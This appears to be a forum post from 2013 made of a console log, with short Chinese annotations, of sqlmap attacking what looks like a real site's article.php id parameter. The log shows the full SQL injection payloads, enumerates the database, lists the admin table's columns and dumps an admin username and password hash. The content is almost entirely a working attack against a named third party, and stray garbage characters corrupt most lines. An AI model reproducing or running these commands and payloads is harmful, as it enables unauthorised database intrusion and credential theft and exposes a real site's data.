D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db1 z. u4 c* y% C/ Y' ~) k
ms "Mysql" --current-user /* 注解：获取当前用户名称
& L/ L5 R1 u8 z. t% d% C% m: [- ^ sqlmap/0.9 - automatic SQL injection and database takeover tool
& |3 r" |) V/ b5 I2 A* i http://sqlmap.sourceforge.net starting at: 16:53:54% f9 l' g+ e9 U! p
[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
" z+ w; X9 h% O, o; q. A" V2 V session file
8 X- f4 f! [3 ?# _1 T' H[16:53:54] [INFO] resuming injection data from session file9 M1 o* o5 R8 ?- t
[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
9 t; U) B5 E" z( o/ j5 Q' ~) t[16:53:54] [INFO] testing connection to the target url
' F2 |& f4 P4 n, d7 ]3 ]! fsqlmap identified the following injection points with a total of 0 HTTP(s) reque
# H% ` M* s. x0 S/ D- L9 tsts:) W: c4 K0 R) p/ R, |" ]
---5 S( U% G: T$ P
Place: GET
5 e K6 Q- z* B( H5 y5 ?Parameter: id* V0 e W5 | L' l
Type: boolean-based blind2 |2 {; p3 {: j3 u
Title: AND boolean-based blind - WHERE or HAVING clause, F$ o1 N. e7 r2 ]( {- h
Payload: id=276 AND 799=799
x5 R7 z6 L" r V Type: error-based
# r4 V3 g; F- w( {6 r Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
$ i+ D& \0 p# {/ R Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
4 D: x$ K8 X" }120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58- k5 m; A# K* Y
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
( O- W: H) g) F8 l Type: UNION query2 h8 m! S K1 {7 U2 b6 F' G
Title: MySQL UNION query (NULL) - 1 to 10 columns N8 `* ^0 }8 ~4 ^
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR, p5 ^9 E( p: F& x. [5 z3 W5 z
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),6 n# d1 n0 ~4 L; H3 g
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
& v& y8 Y1 @' n# B% E- e Type: AND/OR time-based blind+ J3 n( T+ O/ I
Title: MySQL > 5.0.11 AND time-based blind
5 f5 E* Z3 P/ f5 K5 P; v7 N1 s1 |( d Payload: id=276 AND SLEEP(5)2 `8 ]4 E, F- @' S# X# |/ I& {4 |
---$ d1 W: H V, [5 e( D. | {
[16:53:55] [INFO] the back-end DBMS is MySQL. q; ^1 k* b/ |. k, W' [0 H
web server operating system: Windows
$ R6 }: e" y5 z' \web application technology: Apache 2.2.11, PHP 5.3.0 Y; }3 t0 x- n; C( R# T
back-end DBMS: MySQL 5.0; S& f, T/ F) X# R4 [8 b5 k
[16:53:55] [INFO] fetching current user9 R/ @1 p$ R3 j) I+ A3 ?
current user: 'root@localhost' 4 v7 q5 I7 K# |
[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
+ ~) D5 F: F+ qtput\www.wepost.com.hk' shutting down at: 16:53:584 b; ^3 P0 d2 x- ?
r; w3 b) i% B- p: S- ~D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db' u3 H5 Q' m: o+ K& a% l
ms "Mysql" --current-db /*当前数据库
/ p" [% `$ T2 v sqlmap/0.9 - automatic SQL injection and database takeover tool
0 S5 Q$ P8 ]- W4 U; {; s& k% v6 [ http://sqlmap.sourceforge.net starting at: 16:54:167 V, U ]. q8 V$ V4 u
[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as( f3 s. ]# f/ Y2 g x
session file. u9 R# p$ R7 |0 Z. O
[16:54:16] [INFO] resuming injection data from session file' b; u+ z' i- v
[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
+ Y6 [" x$ m* `& j9 N[16:54:16] [INFO] testing connection to the target url$ P; Y& Y& a8 L( ^8 P, J
sqlmap identified the following injection points with a total of 0 HTTP(s) reque' j0 F9 R& S# w ^2 e$ h2 S9 b& {
sts:
% z+ u- S" _/ ~) `& S2 @- r---- ~" f Z$ g; E: q2 d, @8 e
Place: GET
8 R9 Z( M/ D) W$ `: D2 E6 }Parameter: id" a/ t! N% }: R8 [/ ~8 Z, L4 f1 ]
Type: boolean-based blind
$ C6 z$ O6 W: s; |$ v) j Title: AND boolean-based blind - WHERE or HAVING clause
$ ~4 A: _* y3 P" k; g/ s8 s Payload: id=276 AND 799=799
- q5 ]9 G5 c% t# t) W1 \7 `6 m Type: error-based
: J* y5 a9 f1 E3 P% G Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause" `8 y$ W1 Y' H: o* w7 f: X, L8 w9 B" `3 G
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
' o5 c5 W: j" U) q6 i: K! c" \120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
: Y9 _# ^) t, E6 S4 B- f),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)9 h7 M- i1 G" @' d
Type: UNION query
: d! w- {+ X: e# k5 h' ] Title: MySQL UNION query (NULL) - 1 to 10 columns
0 n( c9 p$ ~9 W: m& H1 b | Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
; k6 |! O( `/ v5 e/ {3 u0 [6 i* \6 l(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
: F0 s2 i0 J0 X9 X5 SCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
6 [, p* k/ z2 p! J3 a Type: AND/OR time-based blind) ~$ q8 e7 @8 `, [# R) n1 t
Title: MySQL > 5.0.11 AND time-based blind# E, x* C; r% w5 l5 a' K
Payload: id=276 AND SLEEP(5)
" f. L% x) Y% K8 k( _---
) n7 v5 P" Q* t1 u. ^: l9 @: H! s[16:54:17] [INFO] the back-end DBMS is MySQL4 t) t3 f$ c ^# O1 E" y5 w2 M' z
web server operating system: Windows
$ V) e- s' s8 k! t8 Hweb application technology: Apache 2.2.11, PHP 5.3.0, n' i' i' i" K. U3 v1 N
back-end DBMS: MySQL 5.0
/ p7 S5 N W6 y1 t% O. B[16:54:17] [INFO] fetching current database
( T( b% o. z5 Zcurrent database: 'wepost'
3 W0 w# E; n1 T( E( g[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou7 H" J4 J0 t( R5 e \
tput\www.wepost.com.hk' shutting down at: 16:54:18
1 }) e# p' c: Q2 A2 {D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
: j1 ?. F$ H9 g* s! ~ms "Mysql" --tables -D "wepost" /*获取当前数据库的表名, j: q# B: V& |" `
sqlmap/0.9 - automatic SQL injection and database takeover tool) o- f! h$ K( N$ _- H* [
http://sqlmap.sourceforge.net starting at: 16:55:25# T1 l2 t2 p. d8 ?
[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
& d0 u" R! G7 m4 t7 f) j6 ~ session file
F3 a1 V% N" D0 [[16:55:25] [INFO] resuming injection data from session file C6 d6 q' A; Y5 I) p7 }
[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file/ M+ O: w7 a$ Y% p1 r( l
[16:55:25] [INFO] testing connection to the target url/ B! T7 z) }# B3 p
sqlmap identified the following injection points with a total of 0 HTTP(s) reque3 K+ w* |' h9 \0 H1 @ p2 s
sts:& n: e. {4 T$ Z) ]; {2 N, @% I
---! V' k; ^, F- q& C
Place: GET
: W$ D7 p3 u# `4 t1 W. ?6 q9 |Parameter: id- T7 x* c2 L# _0 ?0 y
Type: boolean-based blind3 C) H; ?: N" t( G3 }/ l! C6 A& Y) p
Title: AND boolean-based blind - WHERE or HAVING clause: ~4 h3 W: w) O* ]3 q
Payload: id=276 AND 799=799
: z0 @( X( ?. i4 S0 I7 x9 ?, N Type: error-based: B5 P% u, Q0 w p3 \ x
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
: f$ T6 W8 ?7 j7 V0 J9 z Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
! Z" `+ _; b& r. I120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
% c# l( V/ N# y: O) U9 y),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
4 a7 y3 e# H" Q R% h9 F7 [ Type: UNION query
3 `) f: z4 z8 _9 e! e Title: MySQL UNION query (NULL) - 1 to 10 columns
1 |2 ]7 E: Q* K3 {' l! M$ \) K8 O2 y Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
7 y/ ^6 N; ^% ?(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
9 E/ C3 }6 N' pCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#. P7 E& I- J! J
Type: AND/OR time-based blind
8 d6 {4 c" W( _7 \; M: a* X O Title: MySQL > 5.0.11 AND time-based blind4 H! q C! ?7 G) C/ e
Payload: id=276 AND SLEEP(5)7 O1 \0 m% h: T9 y, B9 n) ?
---1 K& v+ X$ ]9 t: e2 u4 ~
[16:55:26] [INFO] the back-end DBMS is MySQL
* ^* l. ]! h* m4 S+ jweb server operating system: Windows
* h; G0 P- I5 g/ h4 pweb application technology: Apache 2.2.11, PHP 5.3.0
* p4 r: ]" j. B( `. o7 oback-end DBMS: MySQL 5.0- p" [+ n8 v" ^0 _
[16:55:26] [INFO] fetching tables for database 'wepost'- [9 @2 e, o1 S4 j+ s/ n, h, k3 p
[16:55:27] [INFO] the SQL query used returns 6 entries
8 Z/ F- E y) Z+ c3 m0 hDatabase: wepost1 U* k# o% E4 [: }% b
[6 tables]/ ]9 N9 I/ d# X7 e) I, Y3 S
+-------------+( J( m3 e) V7 k
| admin |; t) ]/ {; O6 Z8 p
| article |- w1 i3 r; {+ C: m' C
| contributor |
3 S& }0 J: I+ u1 G: d| idea |) ]! J% p: G5 H- v: @
| image |+ H7 ~# l- D" Z* x% A+ s
| issue |
, s3 N8 t" l( z+-------------+
+ G1 P: m: ?: {. m[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou8 N; V7 I/ g7 Y3 V
tput\www.wepost.com.hk' shutting down at: 16:55:33
/ p. |6 F9 C& }5 b
; E K$ n( U3 }0 v6 eD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db5 V$ ?) h* ]4 Q0 A" q- _7 h; k; G
ms "Mysql" --columns -T "admin" users-D "wepost" -v 0 /*获取admin表的字段名
6 W- {* L1 K8 q sqlmap/0.9 - automatic SQL injection and database takeover tool
% b, @. g8 i: } http://sqlmap.sourceforge.net starting at: 16:56:06% Z% Q, B7 E4 V% I- N( m7 X% D
sqlmap identified the following injection points with a total of 0 HTTP(s) reque6 g. `3 G7 ?+ N! K
sts:) Q$ M, @- D- d/ n2 [
---
! L$ [; v. d6 u6 b( RPlace: GET
1 d+ b: @% |5 A4 X' \) k( J6 iParameter: id* X. M a# V# D( l! {
Type: boolean-based blind
$ F" S. c& B g I: }$ k& a& k Title: AND boolean-based blind - WHERE or HAVING clause( e9 w2 o1 @8 ~4 t( B* {
Payload: id=276 AND 799=799, C a, D2 X2 [2 w1 B9 B+ f
Type: error-based% _+ m" w5 G! e; w: a% Q
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
" L- `- N8 h- c5 I& K3 [, R0 k Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,: U: z0 X1 f* y1 M, v D3 l
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,585 d/ U w6 r7 X; @- a% s5 g7 ]( E
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
0 @# |$ y' u5 b" D8 c$ ]$ ?) u( T Type: UNION query \% r; Z6 m. V* Y1 e2 h
Title: MySQL UNION query (NULL) - 1 to 10 columns p9 ?$ ~/ f. D3 c0 a% h5 b
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
; ^0 `& ]/ O1 z2 W(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
& ?7 N- E, p4 a" SCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL# ~ y; U! } l5 H s6 V7 q& P4 k
Type: AND/OR time-based blind& h5 Q) q+ A8 X0 y* L* |4 t( Y
Title: MySQL > 5.0.11 AND time-based blind
" u r6 l4 Q* ~ Payload: id=276 AND SLEEP(5)
% ^* a" @8 D4 J* L* d---
: q. D: Q2 b( @7 Aweb server operating system: Windows5 l" d n+ Z; a$ k
web application technology: Apache 2.2.11, PHP 5.3.04 W9 H' o* G, W) J! e, s" j
back-end DBMS: MySQL 5.0* E' ~! _9 ~% |4 k1 [# z3 l& C8 S
[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se+ t4 C# {, ~: u' I2 |. K* j
ssion': wepost, wepost$ b7 j6 E. X8 y$ J" l
Database: wepost/ A8 R% o; w9 o2 H& C
Table: admin5 t |4 o4 y; x
[4 columns]' l! O1 u7 _. i7 x3 n
+----------+-------------+2 Q# T* j: n9 M% c, X
| Column | Type |. x7 ~+ w, J8 o$ F& V3 n" E# J
+----------+-------------+
5 k+ `: `: Z9 T- X; \| id | int(11) |
1 Z. C6 B' E C% w% Q. B| password | varchar(32) |
8 q# p2 V, M& s9 t2 a7 G# C6 ?# V| type | varchar(10) |- \$ d2 y# T$ C3 U) \: T. B# P6 [
| userid | varchar(20) |5 y, W* D" s- R7 s5 s
+----------+-------------+0 o/ @$ D/ i' b( J- I3 S4 V5 K
shutting down at: 16:56:19
& J. t% r+ T: A' L
I5 I+ q3 B+ PD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
+ k2 H, q. s8 |6 i* J. U% {# \ms "Mysql" --dump -C "userid,password" -T "admin" -D "wepost" -v 0 /*获取字段里面的内容2 C4 e: B) t3 {3 }6 |# {
sqlmap/0.9 - automatic SQL injection and database takeover tool% o3 }+ O* N6 U! m3 m. X& ]
http://sqlmap.sourceforge.net starting at: 16:57:14' l9 e# s4 _/ p! }8 ?3 g& M
sqlmap identified the following injection points with a total of 0 HTTP(s) reque& a* j) v' G# l' s2 p3 q4 @3 |
sts:
: A# ~9 M" f! N0 n---
. O+ x( Q; x5 x5 q" }% ] w NPlace: GET
& F3 N( t* q$ _; a8 i' SParameter: id
2 d; A3 k: u5 w Type: boolean-based blind
% n# o X3 s! ~- d* _& h Title: AND boolean-based blind - WHERE or HAVING clause* B$ j2 A! F; y9 u
Payload: id=276 AND 799=7995 L# H7 F4 P8 _2 k; J, @1 W
Type: error-based4 y, |* l8 T5 h( a
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
* B. U& i! \+ r6 H Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
' n# A" G& k$ M/ J4 P7 `) R120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
9 z4 m& P0 t" s6 I5 G: K; I),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) [5 {1 A9 m) z
Type: UNION query
" }, S0 q# l0 }0 [; K7 R Title: MySQL UNION query (NULL) - 1 to 10 columns
8 ^/ Z- X# q; y9 }2 I Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
( U: R9 {* F0 S(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
/ S+ N* h- A' B3 fCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
3 y! u2 P( r% h/ D5 H Type: AND/OR time-based blind$ U' v i) ~7 I% x; c
Title: MySQL > 5.0.11 AND time-based blind
8 J' Y6 s4 A$ B3 P2 R/ t# b Payload: id=276 AND SLEEP(5)" n8 b$ i9 N) j! L& D) [
---
) w a5 t% h; N' F& n# jweb server operating system: Windows9 d& `0 y- C! l
web application technology: Apache 2.2.11, PHP 5.3.0
/ Z: c1 y. i4 m( ^, _! iback-end DBMS: MySQL 5.0
- v1 a* s# K: Y0 g# S @$ P( xrecognized possible password hash values. do you want to use dictionary attack o1 }; y+ a5 p% f5 j6 d% q1 N
n retrieved table items? [Y/n/q] y; J) @. o) ~, L! x
what's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]# F0 S/ K) W) r, U$ z
do you want to use common password suffixes? (slow!) [y/N] y! M; |! M/ d% w
Database: wepost- X1 b6 _2 ?" ?* S
Table: admin
- b- ?# O+ B5 |% m[1 entry]6 N9 D& b+ Y. j7 q5 n! L4 `: a
+----------------------------------+------------+
1 ?, K4 \: O7 Q. |* _2 I| password | userid | I' d+ R' u6 v1 T- G2 c
+----------------------------------+------------+
- `$ U+ Z2 c! R1 j2 H$ R( a| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |1 O. V$ L, S% ]* x7 x, n" T
+----------------------------------+------------+
6 R2 S2 M; q" N( i* i, D; R% I shutting down at: 16:58:14
/ E3 S6 F c, Q$ b! n; }
G+ E0 A! X( l6 E$ nD:\Python27\sqlmap> |
发表于 2013-4-4 22:18:49
收藏
支持
反对